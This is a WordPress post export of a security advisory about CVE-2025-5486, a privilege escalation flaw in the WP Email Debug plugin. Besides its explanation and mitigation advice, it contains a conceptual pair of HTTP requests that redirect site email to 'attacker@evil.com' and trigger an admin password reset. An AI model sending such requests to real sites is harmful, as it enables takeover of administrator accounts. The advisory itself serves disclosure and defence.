{"id":51208,"date":"2025-06-12T11:33:55","date_gmt":"2025-06-12T11:33:55","guid":{"rendered":""},"modified":"2025-09-08T20:16:26","modified_gmt":"2025-09-09T02:16:26","slug":"cve-2025-5486-privilege-escalation-vulnerability-in-wp-email-debug-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-5486-privilege-escalation-vulnerability-in-wp-email-debug-plugin-for-wordpress\/","title":{"rendered":"CVE-2025-5486: Privilege Escalation Vulnerability in WP Email Debug Plugin for WordPress<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

The Common Vulnerabilities and Exposure (CVE) system has recently identified a severe vulnerability labelled CVE-2025-5486. This vulnerability is present in the WP Email Debug plugin for WordPress, widely used for inspecting and debugging the emails sent by WordPress. The vulnerability affects versions 1.0 to 1.1.0 of the plugin<\/a> and can potentially lead to a system compromise or data leakage.
\nThe severity of this vulnerability is underscored by the fact that it allows<\/a> unauthenticated attackers to gain administrative privileges by bypassing security controls. In an era where digital information is a precious commodity, any breach or misuse of administrative privileges<\/a> could have disastrous consequences for businesses and individuals alike.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-5486
\nSeverity: Critical (CVSS: 9.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: System compromise, data leakage<\/a><\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

WP Email Debug plugin for WordPress<\/a> | 1.0 to 1.1.0<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The WP Email Debug plugin for WordPress is vulnerable<\/a> due to a missing capability check in the WPMDBUG_handle_settings() function. This absence of a crucial security control allows unauthenticated attackers<\/a> to enable debugging and send all emails to an address of their choosing.
\nThe attacker can then trigger a password reset<\/a> for an administrator. The password reset email is captured by the attacker, allowing them to reset the admin password and gain unauthorized access<\/a> to the administrator account. This access can then be leveraged to compromise the system<\/a> or leak sensitive data.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how this vulnerability might be exploited. This pseudocode demonstrates how an attacker could potentially use the WPMDBUG_handle_settings() function to redirect emails and trigger a password reset<\/a>.<\/p>\n

POST \/wp-admin\/admin-ajax.php?action=wpmdbug_handle_settings HTTP\/1.1\nHost: target.wordpresssite.com\nContent-Type: application\/x-www-form-urlencoded\n{\n\"debug_email\": \"attacker@evil.com\",\n\"enable_debug\": \"true\"\n}\nPOST \/wp-login.php?action=lostpassword HTTP\/1.1\nHost: target.wordpresssite.com\nContent-Type: application\/x-www-form-urlencoded\n{\n\"user_login\": \"admin\",\n\"redirect_to\": \"\",\n\"wp-submit\": \"Get New Password\"\n}<\/code><\/pre>\n
In the above example, the attacker first enables the debug mode and redirects all outgoing emails to their own email address. Following this, they trigger a password reset for the admin account<\/a>. The reset email is sent to the attacker’s email address, granting them the ability to reset the admin password and gain control of the account<\/a>.<\/p>\n
Mitigation and Prevention<\/strong><\/p>\n
To prevent potential system compromise or data<\/a> leakage, it is recommended to apply the vendor patch as soon as it becomes available. In the interim, organizations can use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation strategy. Additionally, monitoring for suspicious activity and enhancing internal security controls can also help in mitigating the risks posed<\/a> by this vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview The Common Vulnerabilities and Exposure (CVE) system has recently identified a severe vulnerability labelled CVE-2025-5486. This vulnerability is present in the WP Email Debug plugin for WordPress, widely used for inspecting and debugging the emails sent by WordPress. The vulnerability affects versions 1.0 to 1.1.0 of the plugin and can potentially lead to a […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[76],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-51208","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-privilege-escalation"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t